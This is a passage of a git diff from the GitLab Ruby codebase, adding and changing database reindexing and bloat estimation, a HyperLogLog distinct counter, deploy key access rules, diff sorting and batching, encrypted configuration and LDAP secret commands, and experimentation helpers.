+ # Each query should take < 500ms https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22705
+ DEFAULT_BATCH_SIZE = 10_000
+
+ BIT_31_MASK = "B'0#{'1' * 31}'"
+ BIT_9_MASK = "B'#{'0' * 23}#{'1' * 9}'"
+ # @example source_query
+ # SELECT CAST(('X' || md5(CAST(%{column} as text))) as bit(32)) attr_hash_32_bits
+ # FROM %{relation}
+ # WHERE %{pkey} >= %{batch_start}
+ # AND %{pkey} < %{batch_end}
+ # AND %{column} IS NOT NULL
+ BUCKETED_DATA_SQL = <<~SQL
+ WITH hashed_attributes AS (%{source_query})
+ SELECT (attr_hash_32_bits & #{BIT_9_MASK})::int AS bucket_num,
+ (31 - floor(log(2, min((attr_hash_32_bits & #{BIT_31_MASK})::int))))::int as bucket_hash
+ FROM hashed_attributes
+ GROUP BY 1
+ SQL
+
+ TOTAL_BUCKETS_NUMBER = 512
+
+ def initialize(relation, column = nil)
+ @relation = relation
+ @column = column || relation.primary_key
+ end
+
+ def unwanted_configuration?(finish, batch_size, start)
+ batch_size <= MIN_REQUIRED_BATCH_SIZE ||
+ (finish - start) >= MAX_DATA_VOLUME ||
+ start > finish
+ end
+
+ def estimate_distinct_count(batch_size: nil, start: nil, finish: nil)
+ raise 'BatchCount can not be run inside a transaction' if ActiveRecord::Base.connection.transaction_open?
+
+ batch_size ||= DEFAULT_BATCH_SIZE
+
+ start = actual_start(start)
+ finish = actual_finish(finish)
+
+ raise "Batch counting expects positive values only for #{@column}" if start < 0 || finish < 0
+ return FALLBACK if unwanted_configuration?(finish, batch_size, start)
+
+ batch_start = start
+ hll_blob = {}
+
+ while batch_start <= finish
+ begin
+ hll_blob.merge!(hll_blob_for_batch(batch_start, batch_start + batch_size)) {|_key, old, new| new > old ? new : old }
+ batch_start += batch_size
+ end
+ sleep(SLEEP_TIME_IN_SECONDS)
+ end
+
+ estimate_cardinality(hll_blob)
+ end
+
+ private
+
+ # arbitrary values that are present in #estimate_cardinality
+ # are sourced from https://www.sisense.com/blog/hyperloglog-in-pure-sql/
+ # article, they are not representing any entity and serves as tune value
+ # for the whole equation
+ def estimate_cardinality(hll_blob)
+ num_zero_buckets = TOTAL_BUCKETS_NUMBER - hll_blob.size
+
+ num_uniques = (
+ ((TOTAL_BUCKETS_NUMBER**2) * (0.7213 / (1 + 1.079 / TOTAL_BUCKETS_NUMBER))) /
+ (num_zero_buckets + hll_blob.values.sum { |bucket_hash| 2**(-1 * bucket_hash)} )
+ ).to_i
+
+ if num_zero_buckets > 0 && num_uniques < 2.5 * TOTAL_BUCKETS_NUMBER
+ ((0.7213 / (1 + 1.079 / TOTAL_BUCKETS_NUMBER)) * (TOTAL_BUCKETS_NUMBER *
+ Math.log2(TOTAL_BUCKETS_NUMBER.to_f / num_zero_buckets)))
+ else
+ num_uniques
+ end
+ end
+
+ def hll_blob_for_batch(start, finish)
+ @relation
+ .connection
+ .execute(BUCKETED_DATA_SQL % { source_query: source_query(start, finish) })
+ .map(&:values)
+ .to_h
+ end
+
+ # Generate the source query SQL snippet for the provided id range
+ #
+ # @example SQL query template
+ # SELECT CAST(('X' || md5(CAST(%{column} as text))) as bit(32)) attr_hash_32_bits
+ # FROM %{relation}
+ # WHERE %{pkey} >= %{batch_start} AND %{pkey} < %{batch_end}
+ # AND %{column} IS NOT NULL
+ #
+ # @param start initial id range
+ # @param finish final id range
+ # @return [String] SQL query fragment
+ def source_query(start, finish)
+ col_as_arel = @column.is_a?(Arel::Attributes::Attribute) ? @column : Arel.sql(@column.to_s)
+ col_as_text = Arel::Nodes::NamedFunction.new('CAST', [col_as_arel.as('text')])
+ md5_of_col = Arel::Nodes::NamedFunction.new('md5', [col_as_text])
+ md5_as_hex = Arel::Nodes::Concat.new(Arel.sql("'X'"), md5_of_col)
+ bits = Arel::Nodes::NamedFunction.new('CAST', [md5_as_hex.as('bit(32)')])
+
+ @relation
+ .where(@relation.primary_key => (start...finish))
+ .where(col_as_arel.not_eq(nil))
+ .select(bits.as('attr_hash_32_bits')).to_sql
+ end
+
+ def actual_start(start)
+ start || @relation.unscope(:group, :having).minimum(@relation.primary_key) || 0
+ end
+
+ def actual_finish(finish)
+ finish || @relation.unscope(:group, :having).maximum(@relation.primary_key) || 0
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/postgres_index.rb b/lib/gitlab/database/postgres_index.rb
index 2a9f23f0098..6e734834841 100644
--- a/lib/gitlab/database/postgres_index.rb
+++ b/lib/gitlab/database/postgres_index.rb
@@ -3,9 +3,14 @@
module Gitlab
module Database
class PostgresIndex < ActiveRecord::Base
+ include Gitlab::Utils::StrongMemoize
+
self.table_name = 'postgres_indexes'
self.primary_key = 'identifier'
+ has_one :bloat_estimate, class_name: 'Gitlab::Database::PostgresIndexBloatEstimate', foreign_key: :identifier
+ has_many :reindexing_actions, class_name: 'Gitlab::Database::Reindexing::ReindexAction', foreign_key: :index_identifier
+
scope :by_identifier, ->(identifier) do
raise ArgumentError, "Index name is not fully qualified with a schema: #{identifier}" unless identifier =~ /^\w+\.\w+$/
@@ -17,11 +22,17 @@ module Gitlab
# is defined on a table that is not partitioned.
scope :regular, -> { where(unique: false, partitioned: false, exclusion: false)}
- scope :random_few, ->(how_many) do
- limit(how_many).order(Arel.sql('RANDOM()'))
+ scope :not_match, ->(regex) { where("name !~ ?", regex)}
+
+ scope :not_recently_reindexed, -> do
+ recent_actions = Reindexing::ReindexAction.recent.where('index_identifier = identifier')
+
+ where('NOT EXISTS (?)', recent_actions)
end
- scope :not_match, ->(regex) { where("name !~ ?", regex)}
+ def bloat_size
+ strong_memoize(:bloat_size) { bloat_estimate&.bloat_size || 0 }
+ end
def to_s
name
diff --git a/lib/gitlab/database/postgres_index_bloat_estimate.rb b/lib/gitlab/database/postgres_index_bloat_estimate.rb
new file mode 100644
index 00000000000..379227bf87c
--- /dev/null
+++ b/lib/gitlab/database/postgres_index_bloat_estimate.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ # Use this model with care: Retrieving bloat statistics
+ # for all indexes can be expensive in a large database.
+ #
+ # Best used on a per-index basis.
+ class PostgresIndexBloatEstimate < ActiveRecord::Base
+ self.table_name = 'postgres_index_bloat_estimates'
+ self.primary_key = 'identifier'
+
+ belongs_to :index, foreign_key: :identifier, class_name: 'Gitlab::Database::PostgresIndex'
+
+ alias_attribute :bloat_size, :bloat_size_bytes
+ end
+ end
+end
diff --git a/lib/gitlab/database/postgresql_adapter/empty_query_ping.rb b/lib/gitlab/database/postgresql_adapter/empty_query_ping.rb
new file mode 100644
index 00000000000..906312478ac
--- /dev/null
+++ b/lib/gitlab/database/postgresql_adapter/empty_query_ping.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+# rubocop:disable Gitlab/ModuleWithInstanceVariables
+module Gitlab
+ module Database
+ module PostgresqlAdapter
+ module EmptyQueryPing
+ # ActiveRecord uses `SELECT 1` to check if the connection is alive
+ # We patch this here to use an empty query instead, which is a bit faster
+ def active?
+ @lock.synchronize do
+ @connection.query ';'
+ end
+ true
+ rescue PG::Error
+ false
+ end
+ end
+ end
+ end
+end
+# rubocop:enable Gitlab/ModuleWithInstanceVariables
diff --git a/lib/gitlab/database/reindexing.rb b/lib/gitlab/database/reindexing.rb
index c77e000254f..832f7438cf9 100644
--- a/lib/gitlab/database/reindexing.rb
+++ b/lib/gitlab/database/reindexing.rb
@@ -3,8 +3,14 @@
module Gitlab
module Database
module Reindexing
- def self.perform(index_selector)
- Coordinator.new(index_selector).perform
+ # Number of indexes to reindex per invocation
+ DEFAULT_INDEXES_PER_INVOCATION = 2
+
+ # candidate_indexes: Array of Gitlab::Database::PostgresIndex
+ def self.perform(candidate_indexes, how_many: DEFAULT_INDEXES_PER_INVOCATION)
+ indexes = IndexSelection.new(candidate_indexes).take(how_many)
+
+ Coordinator.new(indexes).perform
end
def self.candidate_indexes
diff --git a/lib/gitlab/database/reindexing/concurrent_reindex.rb b/lib/gitlab/database/reindexing/concurrent_reindex.rb
index fd3dca88567..a6fe7d61a4f 100644
--- a/lib/gitlab/database/reindexing/concurrent_reindex.rb
+++ b/lib/gitlab/database/reindexing/concurrent_reindex.rb
@@ -59,6 +59,13 @@ module Gitlab
raise ReindexError, "failed to reindex #{index}: #{message}"
end
+ # Some expression indexes (aka functional indexes)
+ # require additional statistics. The existing statistics
+ # are tightly bound to the original index. We have to
+ # rebuild statistics for the new index before dropping
+ # the original one.
+ rebuild_statistics if index.expression?
+
yield replacement_index
ensure
begin
@@ -96,6 +103,14 @@ module Gitlab
end
end
+ def rebuild_statistics
+ logger.info("rebuilding table statistics for #{index.schema}.#{index.tablename}")
+
+ connection.execute(<<~SQL)
+ ANALYZE #{quote_table_name(index.schema)}.#{quote_table_name(index.tablename)}
+ SQL
+ end
+
def replacement_index_name
@replacement_index_name ||= "#{TEMPORARY_INDEX_PREFIX}#{index.indexrelid}"
end
diff --git a/lib/gitlab/database/reindexing/index_selection.rb b/lib/gitlab/database/reindexing/index_selection.rb
new file mode 100644
index 00000000000..406e70791df
--- /dev/null
+++ b/lib/gitlab/database/reindexing/index_selection.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Reindexing
+ class IndexSelection
+ include Enumerable
+
+ delegate :each, to: :indexes
+
+ def initialize(candidates)
+ @candidates = candidates
+ end
+
+ private
+
+ attr_reader :candidates
+
+ def indexes
+ # This is an explicit N+1 query:
+ # Bloat estimates are generally available through a view
+ # for all indexes. However, estimating bloat for all
+ # indexes at once is an expensive operation. Therefore,
+ # we force a N+1 pattern here and estimate bloat on a per-index
+ # basis.
+
+ @indexes ||= filter_candidates.sort_by(&:bloat_size).reverse
+ end
+
+ def filter_candidates
+ candidates.not_recently_reindexed
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/reindexing/reindex_action.rb b/lib/gitlab/database/reindexing/reindex_action.rb
index 0928ef90e5d..8c59cffe5fb 100644
--- a/lib/gitlab/database/reindexing/reindex_action.rb
+++ b/lib/gitlab/database/reindexing/reindex_action.rb
@@ -6,13 +6,20 @@ module Gitlab
class ReindexAction < ActiveRecord::Base
self.table_name = 'postgres_reindex_actions'
+ belongs_to :index, foreign_key: :index_identifier, class_name: 'Gitlab::Database::PostgresIndex'
enum state: { started: 0, finished: 1, failed: 2 }
+ # Amount of time to consider a previous reindexing *recent*
+ RECENT_THRESHOLD = 7.days
+
+ scope :recent, -> { where(state: :finished).where('action_end > ?', Time.zone.now - RECENT_THRESHOLD) }
+
def self.keep_track_of(index, &block)
action = create!(
index_identifier: index.identifier,
action_start: Time.zone.now,
- ondisk_size_bytes_start: index.ondisk_size_bytes
+ ondisk_size_bytes_start: index.ondisk_size_bytes,
+ bloat_estimate_bytes_start: index.bloat_size
)
yield
diff --git a/lib/gitlab/database_importers/self_monitoring/project/create_service.rb b/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
index 88f035c2d1b..b1093b2fca4 100644
--- a/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
+++ b/lib/gitlab/database_importers/self_monitoring/project/create_service.rb
@@ -147,7 +147,7 @@ module Gitlab
initialize_with_readme: true,
visibility_level: VISIBILITY_LEVEL,
name: PROJECT_NAME,
- description: "This project is automatically generated and will be used to help monitor this GitLab instance. [More information](#{docs_path})",
+ description: "This project is automatically generated and helps monitor this GitLab instance. [Learn more](#{docs_path}).",
namespace_id: group.id
}
end
diff --git a/lib/gitlab/deploy_key_access.rb b/lib/gitlab/deploy_key_access.rb
new file mode 100644
index 00000000000..ca16582d2b4
--- /dev/null
+++ b/lib/gitlab/deploy_key_access.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Gitlab
+ class DeployKeyAccess < UserAccess
+ def initialize(deploy_key, container: nil)
+ @deploy_key = deploy_key
+ @user = deploy_key.user
+ @container = container
+ end
+
+ def can_push_for_ref?(ref)
+ can_push_to_branch?(ref)
+ end
+
+ private
+
+ attr_reader :deploy_key
+
+ def protected_tag_accessible_to?(ref, action:)
+ assert_project!
+
+ # a deploy key can always push a protected tag
+ # (which is not always the case when pushing to a protected branch)
+ true
+ end
+
+ def can_collaborate?(_ref)
+ assert_project!
+
+ project_has_active_user_keys?
+ end
+
+ def project_has_active_user_keys?
+ user.can?(:read_project, project) && DeployKey.with_write_access_for_project(project).id_in(deploy_key.id).exists?
+ end
+ end
+end
diff --git a/lib/gitlab/diff/file_collection/base.rb b/lib/gitlab/diff/file_collection/base.rb
index cf0611e44da..8f4f8febec0 100644
--- a/lib/gitlab/diff/file_collection/base.rb
+++ b/lib/gitlab/diff/file_collection/base.rb
@@ -30,12 +30,16 @@ module Gitlab
@diffs ||= diffable.raw_diffs(diff_options)
end
- def diff_files
- raw_diff_files
+ def diff_files(sorted: false)
+ raw_diff_files(sorted: sorted)
end
- def raw_diff_files
- @raw_diff_files ||= diffs.decorate! { |diff| decorate_diff!(diff) }
+ def raw_diff_files(sorted: false)
+ strong_memoize(:"raw_diff_files_#{sorted}") do
+ collection = diffs.decorate! { |diff| decorate_diff!(diff) }
+ collection = sort_diffs(collection) if sorted
+ collection
+ end
end
def diff_file_paths
@@ -111,6 +115,12 @@ module Gitlab
fallback_diff_refs: fallback_diff_refs,
stats: stats)
end
+
+ def sort_diffs(diffs)
+ return diffs unless Feature.enabled?(:sort_diffs, project, default_enabled: false)
+
+ Gitlab::Diff::FileCollectionSorter.new(diffs).sort
+ end
end
end
end
diff --git a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
index 16257bb5ff5..d2ca86fdfe7 100644
--- a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
+++ b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
@@ -16,7 +16,7 @@ module Gitlab
fallback_diff_refs: merge_request_diff.fallback_diff_refs)
end
- def diff_files
+ def diff_files(sorted: false)
strong_memoize(:diff_files) do
diff_files = super
@@ -26,6 +26,12 @@ module Gitlab
end
end
+ def raw_diff_files(sorted: false)
+ # We force `sorted` to `false` as we don't need to sort the diffs when
+ # dealing with `MergeRequestDiff` since we sort its files on create.
+ super(sorted: false)
+ end
+
override :write_cache
def write_cache
highlight_cache.write_if_empty
diff --git a/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb b/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
index 9af66318b89..64523f3b730 100644
--- a/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
+++ b/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
@@ -11,7 +11,7 @@ module Gitlab
#
class MergeRequestDiffBatch < MergeRequestDiffBase
DEFAULT_BATCH_PAGE = 1
- DEFAULT_BATCH_SIZE = 20
+ DEFAULT_BATCH_SIZE = 30
attr_reader :pagination_data
@@ -21,9 +21,9 @@ module Gitlab
@paginated_collection = load_paginated_collection(batch_page, batch_size, diff_options)
@pagination_data = {
- current_page: @paginated_collection.current_page,
- next_page: @paginated_collection.next_page,
- total_pages: @paginated_collection.total_pages
+ current_page: batch_gradual_load? ? nil : @paginated_collection.current_page,
+ next_page: batch_gradual_load? ? nil : @paginated_collection.next_page,
+ total_pages: batch_gradual_load? ? relation.size : @paginated_collection.total_pages
}
end
@@ -62,17 +62,28 @@ module Gitlab
@merge_request_diff.merge_request_diff_files
end
+ # rubocop: disable CodeReuse/ActiveRecord
def load_paginated_collection(batch_page, batch_size, diff_options)
batch_page ||= DEFAULT_BATCH_PAGE
batch_size ||= DEFAULT_BATCH_SIZE
paths = diff_options&.fetch(:paths, nil)
- paginated_collection = relation.page(batch_page).per(batch_size)
+ paginated_collection = if batch_gradual_load?
+ relation.offset(batch_page).limit([batch_size.to_i, DEFAULT_BATCH_SIZE].min)
+ else
+ relation.page(batch_page).per(batch_size)
+ end
+
paginated_collection = paginated_collection.by_paths(paths) if paths
paginated_collection
end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def batch_gradual_load?
+ Feature.enabled?(:diffs_gradual_load, @merge_request_diff.project, default_enabled: true)
+ end
end
end
end
diff --git a/lib/gitlab/diff/file_collection_sorter.rb b/lib/gitlab/diff/file_collection_sorter.rb
new file mode 100644
index 00000000000..94626875580
--- /dev/null
+++ b/lib/gitlab/diff/file_collection_sorter.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Diff
+ class FileCollectionSorter
+ attr_reader :diffs
+
+ def initialize(diffs)
+ @diffs = diffs
+ end
+
+ def sort
+ diffs.sort do |a, b|
+ compare_path_parts(path_parts(a), path_parts(b))
+ end
+ end
+
+ private
+
+ def path_parts(diff)
+ (diff.new_path.presence || diff.old_path).split(::File::SEPARATOR)
+ end
+
+ # Used for sorting the file paths by:
+ # 1. Directory name
+ # 2. Depth
+ # 3. File name
+ def compare_path_parts(a_parts, b_parts)
+ a_part = a_parts.shift
+ b_part = b_parts.shift
+
+ return 1 if a_parts.size < b_parts.size && a_parts.empty?
+ return -1 if a_parts.size > b_parts.size && b_parts.empty?
+
+ comparison = a_part <=> b_part
+
+ return comparison unless comparison == 0
+
+ compare_path_parts(a_parts, b_parts)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/email/handler/reply_processing.rb b/lib/gitlab/email/handler/reply_processing.rb
index 1beea4f9054..9e476dd4e2b 100644
--- a/lib/gitlab/email/handler/reply_processing.rb
+++ b/lib/gitlab/email/handler/reply_processing.rb
@@ -45,7 +45,7 @@ module Gitlab
end
def add_attachments(reply)
- attachments = Email::AttachmentUploader.new(mail).execute(upload_params)
+ attachments = Email::AttachmentUploader.new(mail).execute(**upload_params)
reply + attachments.map do |link|
"\n\n#{link[:markdown]}"
diff --git a/lib/gitlab/email/handler/service_desk_handler.rb b/lib/gitlab/email/handler/service_desk_handler.rb
index bcd8b98a06f..0bbe3980f67 100644
--- a/lib/gitlab/email/handler/service_desk_handler.rb
+++ b/lib/gitlab/email/handler/service_desk_handler.rb
@@ -68,7 +68,7 @@ module Gitlab
end
def valid_project_key?(project, slug)
- project.present? && slug == project.full_path_slug && Feature.enabled?(:service_desk_custom_address, project)
+ project.present? && slug == project.full_path_slug && Feature.enabled?(:service_desk_custom_address, project, default_enabled: true)
end
def create_issue!
@@ -78,7 +78,7 @@ module Gitlab
title: issue_title,
description: message_including_template,
confidential: true,
- service_desk_reply_to: from_address
+ external_author: from_address
).execute
raise InvalidIssueError unless @issue.persisted?
diff --git a/lib/gitlab/encrypted_configuration.rb b/lib/gitlab/encrypted_configuration.rb
new file mode 100644
index 00000000000..fe49af3ab33
--- /dev/null
+++ b/lib/gitlab/encrypted_configuration.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+module Gitlab
+ class EncryptedConfiguration
+ delegate :[], :fetch, to: :config
+ delegate_missing_to :options
+ attr_reader :content_path, :key, :previous_keys
+
+ CIPHER = "aes-256-gcm"
+ SALT = "GitLabEncryptedConfigSalt"
+
+ class MissingKeyError < RuntimeError
+ def initialize(msg = "Missing encryption key to encrypt/decrypt file with.")
+ super
+ end
+ end
+
+ class InvalidConfigError < RuntimeError
+ def initialize(msg = "Content was not a valid yml config file")
+ super
+ end
+ end
+
+ def self.generate_key(base_key)
+ # Because the salt is static, we want uniqueness to be coming from the base_key
+ # Error if the base_key is empty or suspiciously short
+ raise 'Base key too small' if base_key.blank? || base_key.length < 16
+
+ ActiveSupport::KeyGenerator.new(base_key).generate_key(SALT, ActiveSupport::MessageEncryptor.key_len(CIPHER))
+ end
+
+ def initialize(content_path: nil, base_key: nil, previous_keys: [])
+ @content_path = Pathname.new(content_path).yield_self { |path| path.symlink? ? path.realpath : path } if content_path
+ @key = self.class.generate_key(base_key) if base_key
+ @previous_keys = previous_keys
+ end
+
+ def active?
+ content_path&.exist?
+ end
+
+ def read
+ if active?
+ decrypt(content_path.binread)
+ else
+ ""
+ end
+ end
+
+ def write(contents)
+ # ensure contents are valid to deserialize before write
+ deserialize(contents)
+
+ temp_file = Tempfile.new(File.basename(content_path), File.dirname(content_path))
+ File.open(temp_file.path, 'wb') do |file|
+ file.write(encrypt(contents))
+ end
+ FileUtils.mv(temp_file.path, content_path)
+ ensure
+ temp_file&.unlink
+ end
+
+ def config
+ return @config if @config
+
+ contents = deserialize(read)
+
+ raise InvalidConfigError.new unless contents.is_a?(Hash)
+
+ @config = contents.deep_symbolize_keys
+ end
+
+ def change(&block)
+ writing(read, &block)
+ end
+
+ private
+
+ def writing(contents)
+ updated_contents = yield contents
+
+ write(updated_contents) if updated_contents != contents
+ end
+
+ def encrypt(contents)
+ handle_missing_key!
+ encryptor.encrypt_and_sign(contents)
+ end
+
+ def decrypt(contents)
+ handle_missing_key!
+ encryptor.decrypt_and_verify(contents)
+ end
+
+ def encryptor
+ return @encryptor if @encryptor
+
+ @encryptor = ActiveSupport::MessageEncryptor.new(key, cipher: CIPHER)
+
+ # Allow fallback to previous keys
+ @previous_keys.each do |key|
+ @encryptor.rotate(self.class.generate_key(key))
+ end
+
+ @encryptor
+ end
+
+ def options
+ # Allows top level keys to be referenced using dot syntax
+ @options ||= ActiveSupport::InheritableOptions.new(config)
+ end
+
+ def deserialize(contents)
+ YAML.safe_load(contents, permitted_classes: [Symbol]).presence || {}
+ end
+
+ def handle_missing_key!
+ raise MissingKeyError.new if @key.nil?
+ end
+ end
+end
diff --git a/lib/gitlab/encrypted_ldap_command.rb b/lib/gitlab/encrypted_ldap_command.rb
new file mode 100644
index 00000000000..cdb3e268b51
--- /dev/null
+++ b/lib/gitlab/encrypted_ldap_command.rb
@@ -0,0 +1,104 @@
+# frozen_string_literal: true
+
+# rubocop:disable Rails/Output
+module Gitlab
+ class EncryptedLdapCommand
+ class << self
+ def write(contents)
+ encrypted = Gitlab::Auth::Ldap::Config.encrypted_secrets
+ return unless validate_config(encrypted)
+
+ validate_contents(contents)
+ encrypted.write(contents)
+
+ puts "File encrypted and saved."
+ rescue Interrupt
+ puts "Aborted changing file: nothing saved."
+ rescue ActiveSupport::MessageEncryptor::InvalidMessage
+ puts "Couldn't decrypt #{encrypted.content_path}. Perhaps you passed the wrong key?"
+ end
+
+ def edit
+ encrypted = Gitlab::Auth::Ldap::Config.encrypted_secrets
+ return unless validate_config(encrypted)
+
+ if ENV["EDITOR"].blank?
+ puts 'No $EDITOR specified to open file. Please provide one when running the command:'
+ puts 'gitlab-rake gitlab:ldap:secret:edit EDITOR=vim'
+ return
+ end
+
+ temp_file = Tempfile.new(File.basename(encrypted.content_path), File.dirname(encrypted.content_path))
+ contents_changed = false
+
+ encrypted.change do |contents|
+ contents = encrypted_file_template unless File.exist?(encrypted.content_path)
+ File.write(temp_file.path, contents)
+ system(ENV['EDITOR'], temp_file.path)
+ changes = File.read(temp_file.path)
+ contents_changed = contents != changes
+ validate_contents(changes)
+ changes
+ end
+
+ puts "Contents were unchanged." unless contents_changed
+ puts "File encrypted and saved."
+ rescue Interrupt
+ puts "Aborted changing file: nothing saved."
+ rescue ActiveSupport::MessageEncryptor::InvalidMessage
+ puts "Couldn't decrypt #{encrypted.content_path}. Perhaps you passed the wrong key?"
+ ensure
+ temp_file&.unlink
+ end
+
+ def show
+ encrypted = Gitlab::Auth::Ldap::Config.encrypted_secrets
+ return unless validate_config(encrypted)
+
+ puts encrypted.read.presence || "File '#{encrypted.content_path}' does not exist. Use `gitlab-rake gitlab:ldap:secret:edit` to change that."
+ rescue ActiveSupport::MessageEncryptor::InvalidMessage
+ puts "Couldn't decrypt #{encrypted.content_path}. Perhaps you passed the wrong key?"
+ end
+
+ private
+
+ def validate_config(encrypted)
+ dir_path = File.dirname(encrypted.content_path)
+
+ unless File.exist?(dir_path)
+ puts "Directory #{dir_path} does not exist. Create the directory and try again."
+ return false
+ end
+
+ if encrypted.key.nil?
+ puts "Missing encryption key encrypted_settings_key_base."
+ return false
+ end
+
+ true
+ end
+
+ def validate_contents(contents)
+ begin
+ config = YAML.safe_load(contents, permitted_classes: [Symbol])
+ error_contents = "Did not include any key-value pairs" unless config.is_a?(Hash)
+ rescue Psych::Exception => e
+ error_contents = e.message
+ end
+
+ puts "WARNING: Content was not a valid LDAP secret yml file. #{error_contents}" if error_contents
+
+ contents
+ end
+
+ def encrypted_file_template
+ <<~YAML
+ # main:
+ # password: '123'
+ # user_dn: 'gitlab-adm'
+ YAML
+ end
+ end
+ end
+end
+# rubocop:enable Rails/Output
diff --git a/lib/gitlab/experimentation.rb b/lib/gitlab/experimentation.rb
index 6e39776bbd4..94523813662 100644
--- a/lib/gitlab/experimentation.rb
+++ b/lib/gitlab/experimentation.rb
@@ -4,9 +4,11 @@
#
# Utility module for A/B testing experimental features. Define your experiments in the `EXPERIMENTS` constant.
# Experiment options:
-# - environment (optional, defaults to enabled for development and GitLab.com)
# - tracking_category (optional, used to set the category when tracking an experiment event)
-# - use_backwards_compatible_subject_index (optional, set this to true if you need backwards compatibility)
+# - use_backwards_compatible_subject_index (optional, set this to true if you need backwards compatibility -- you likely do not need this, see note in the next paragraph.)
+#
+# Using the backwards-compatible subject index (use_backwards_compatible_subject_index option):
+# This option was added when [the calculation of experimentation_subject_index was changed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45733/diffs#41af4a6fa5a10c7068559ce21c5188483751d934_157_173). It is not intended to be used by new experiments, it exists merely for the segmentation integrity of in-flight experiments at the time the change was deployed. That is, we want users who were assigned to the "experimental" group or the "control" group before the change to still be in those same groups after the change. See [the original issue](https://gitlab.com/gitlab-org/gitlab/-/issues/270858) and [this related comment](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48110#note_458223745) for more information.
#
# The experiment is controlled by a Feature Flag (https://docs.gitlab.com/ee/development/feature_flags/controls.html),
# which is named "#{experiment_key}_experiment_percentage" and *must* be set with a percentage and not be used for other purposes.
@@ -55,10 +57,6 @@ module Gitlab
tracking_category: 'Growth::Expansion::Experiment::InviteMembersEmptyGroupVersionA',
use_backwards_compatible_subject_index: true
},
- new_create_project_ui: {
- tracking_category: 'Manage::Import::Experiment::NewCreateProjectUi',
- use_backwards_compatible_subject_index: true
- },
contact_sales_btn_in_app: {
tracking_category: 'Growth::Conversion::Experiment::ContactSalesInApp',
use_backwards_compatible_subject_index: true
@@ -67,14 +65,6 @@ module Gitlab
tracking_category: 'Growth::Expansion::Experiment::CustomizeHomepage',
use_backwards_compatible_subject_index: true
},
- invite_email: {
- tracking_category: 'Growth::Acquisition::Experiment::InviteEmail',
- use_backwards_compatible_subject_index: true
- },
- invitation_reminders: {
- tracking_category: 'Growth::Acquisition::Experiment::InvitationReminders',
- use_backwards_compatible_subject_index: true
- },
group_only_trials: {
tracking_category: 'Growth::Conversion::Experiment::GroupOnlyTrials',
use_backwards_compatible_subject_index: true
@@ -82,59 +72,68 @@ module Gitlab
default_to_issues_board: {
tracking_category: 'Growth::Conversion::Experiment::DefaultToIssuesBoard',
use_backwards_compatible_subject_index: true
+ },
+ jobs_empty_state: {
+ tracking_category: 'Growth::Activation::Experiment::JobsEmptyState'
+ },
+ remove_known_trial_form_fields: {
+ tracking_category: 'Growth::Conversion::Experiment::RemoveKnownTrialFormFields'
+ },
+ trimmed_skip_trial_copy: {
+ tracking_category: 'Growth::Conversion::Experiment::TrimmedSkipTrialCopy'
+ },
+ trial_registration_with_social_signin: {
+ tracking_category: 'Growth::Conversion::Experiment::TrialRegistrationWithSocialSigning'
+ },
+ invite_members_empty_project_version_a: {
+ tracking_category: 'Growth::Expansion::Experiment::InviteMembersEmptyProjectVersionA'
}
}.freeze
class << self
- def experiment(key)
- Experiment.new(EXPERIMENTS[key].merge(key: key))
- end
-
- def enabled?(experiment_key)
- return false unless EXPERIMENTS.key?(experiment_key)
+ def get_experiment(experiment_key)
+ return unless EXPERIMENTS.key?(experiment_key)
- experiment = experiment(experiment_key)
- experiment.enabled_for_environment? && experiment.enabled?
+ ::Gitlab::Experimentation::Experiment.new(experiment_key, **EXPERIMENTS[experiment_key])
end
- def enabled_for_attribute?(experiment_key, attribute)
- index = Digest::SHA1.hexdigest(attribute).hex % 100
- enabled_for_value?(experiment_key, index)
- end
+ def active?(experiment_key)
+ experiment = get_experiment(experiment_key)
+ return false unless experiment
- def enabled_for_value?(experiment_key, value)
- enabled?(experiment_key) && experiment(experiment_key).enabled_for_index?(value)
+ experiment.active?
end
- end
- Experiment = Struct.new(
- :key,
- :environment,
- :tracking_category,
- :use_backwards_compatible_subject_index,
- keyword_init: true
- ) do
- def enabled?
- experiment_percentage > 0
- end
+ def in_experiment_group?(experiment_key, subject:)
+ return false if subject.blank?
+ return false unless active?(experiment_key)
- def enabled_for_environment?
- return ::Gitlab.dev_env_or_com? if environment.nil?
+ experiment = get_experiment(experiment_key)
+ return false unless experiment
- environment
+ experiment.enabled_for_index?(index_for_subject(experiment, subject))
end
- def enabled_for_index?(index)
- return false if index.blank?
+ private
- index <= experiment_percentage
- end
+ def index_for_subject(experiment, subject)
+ index = if experiment.use_backwards_compatible_subject_index
+ Digest::SHA1.hexdigest(subject_id(subject)).hex
+ else
+ Zlib.crc32("#{experiment.key}#{subject_id(subject)}")
+ end
- private
+ index % 100
+ end
- # When a feature does not exist, the `percentage_of_time_value` method will return 0
- def experiment_percentage
- @experiment_percentage ||= Feature.get(:"#{key}_experiment_percentage").percentage_of_time_value # rubocop:disable Gitlab/AvoidFeatureGet
+ def subject_id(subject)
+ if subject.respond_to?(:to_global_id)
+ subject.to_global_id.to_s
+ elsif subject.respond_to?(:to_s)
+ subject.to_s
+ else
+ raise ArgumentError.new('Subject must respond to `to_global_id` or `to_s`')
+ end
end
end
end
diff --git a/lib/gitlab/experimentation/controller_concern.rb b/lib/gitlab/experimentation/controller_concern.rb
